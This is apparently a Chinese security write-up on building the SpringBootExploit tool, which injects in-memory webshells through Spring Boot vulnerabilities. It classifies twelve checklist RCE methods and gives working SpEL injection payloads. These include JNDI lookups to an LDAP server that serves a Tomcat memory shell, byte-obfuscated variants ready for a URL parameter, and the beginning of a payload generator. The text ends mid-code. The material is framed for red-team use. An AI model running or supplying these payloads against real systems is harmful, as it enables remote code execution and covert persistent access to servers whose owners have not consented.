前言
SpringBootVulExploit 是Spring Boot漏洞Check list,但在真正的环境中进行漏洞利用还是有一段距离的,因此衍生出了SpringBootExploit工具。本文是对该Check list到内存马探索之路的记录。再此过程中学到了很多知识,收获了很多,感谢神父hl0rey对我指导,才有工具诞生。
本文内容是笔者在看雪大会上演讲的内容之一,本文应该在很早之前就发了,拖拖拉拉一直到现在。
漏洞归类
Check list一共给出了十二种方法,我们首先归类一下,看有那些共同点。
- JNDI注入
- 0x04:jolokia logback JNDI RCE
- 0x05:jolokia Realm JNDI RCE
- 0x07:h2 database console JNDI RCE
- Restart
- 0x06:restart h2 database query RCE
- 0x09:restart logging.config logback JNDI RCE
- 0x0A:restart logging.config groovy RCE
- 0x0B:restart spring.main.sources groovy RCE
- 0x0C:restart spring.datasource.data h2 database RCE
- 其他
- 0x01:whitelabel error page SpEL RCE
- 0x02:spring cloud SnakeYAML RCE
- 0x03:eureka xstream deserialization RCE
- 0x08:mysql jdbc deserialization RCE
分类标准,第一类是都可以直接使用JNDI注入的,第二类是都会将目标环境重启启动的,第三类是无法直接利用JNDI注入的。
第一类
第一类是最容易实现的JNDI内存马注入的,遇到的问题也是最少的。
第二类
第二类是都需要对环境进行重启操作,在测试过程中很容易对环境造成不可逆的后果。所以对此并没有进行整合,未来也不会集成。
第三类
第三类是无法直接利用JNDI,并且Check list说明里面都是反弹shell、弹计算器之类操作,这对于红队的是意义很小。
漏洞规范化
写工具首先得每一个漏洞的Payload进行规范,目前支持所有的方式就是将第三类转化支持JNDI注入的方式。将第三类漏洞进行转化是繁琐的工作,每一个漏洞目前网上公开的文章都是基于check list编写的。此过程中遇到很多问题,一度曾放弃几种方式。一开始设想过支持回显,但后来发现,反序列化执行操作都是用服务器发起了,无法做到回显,压根行不通。所有后面只做了内存马,目前只支持一种内存马后期会考虑支持更多类型的内存马。
whitelabel error page SpEL RCE
SpEL RCE 最大问题就是如何用一句话的方式实现JNDI的方式。在**天下大木头**的指导下我获得提示:- javax.naming.InitialContext context = new InitialContext();
- context.lookup("ldap://127.0.0.1:1389/basic/TomcatMemShell3");
复制代码 根据上面尝试,在测试的过程遇到某名奇妙的一些问题。- public class spel {
- public static void main(String[] args) {
- String poc = "new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()";
- String rmi = "T(javax.naming.InitialContext).lookup("ldap://127.0.0.1:1389/basic/TomcatMemShell3")";
- String ldap = "new javax.naming.InitialContext().lookup("ldap://127.0.0.1:1389/basic/TomcatMemShell3")";
- String calc = "T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{ 0x63,0x61,0x6c,0x63 }))";
- String poc2 = "java.lang.Class.forName("javax.naming.InitialContext").getMethod("lookup", String.class).invoke(Class.forName("javax.naming.InitialContext").newInstance(),"ldap://127.0.0.1:1389/basic/TomcatMemShell3")";
- SpelExpressionParser parser = new SpelExpressionParser();
- Expression expression = parser.parseExpression(rmi);
- StandardEvaluationContext context = new StandardEvaluationContext();
- expression.getValue(context);
- }
- }
复制代码 使用payload rmi时会报找不到lookup方法
使用payload poc2也报错
最终通过不断尝试payload ldap是有效。但这个漏洞利用方式没在工具里集成,是因为SpEL漏洞存在有很多种情况,无法做到考虑完全,如果你发现此漏洞可以用该工具生成Payload打。- Payload 食用方法示例:http://127.0.0.1:9091/article?id=Payload
- ${new javax.naming.InitialContext().lookup(new String(new byte[]{ <br>0x6c,0x64,0x61,0x70,0x3a,0x2f,0x2f,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a,0x31,0x33,0x38,0x<br>39,0x2f,0x62,0x61,0x73,0x69,0x63,0x2f,0x54,0x6f,0x6d,0x63,0x61,0x74,0x4d,0x65,0x6d,0x53,0x68,0x65,0x6c,<br>0x6c,0x33 }))}
复制代码 payload生成代码:
[code] public String SpelExpr(String cmd){ String ldap = "${new javax.naming.InitialContext().lookup(new String(new byte[]{ "; StringBuilder sb = new StringBuilder(); char[] ch = cmd.toCharArray(); for (int i=0 ; i |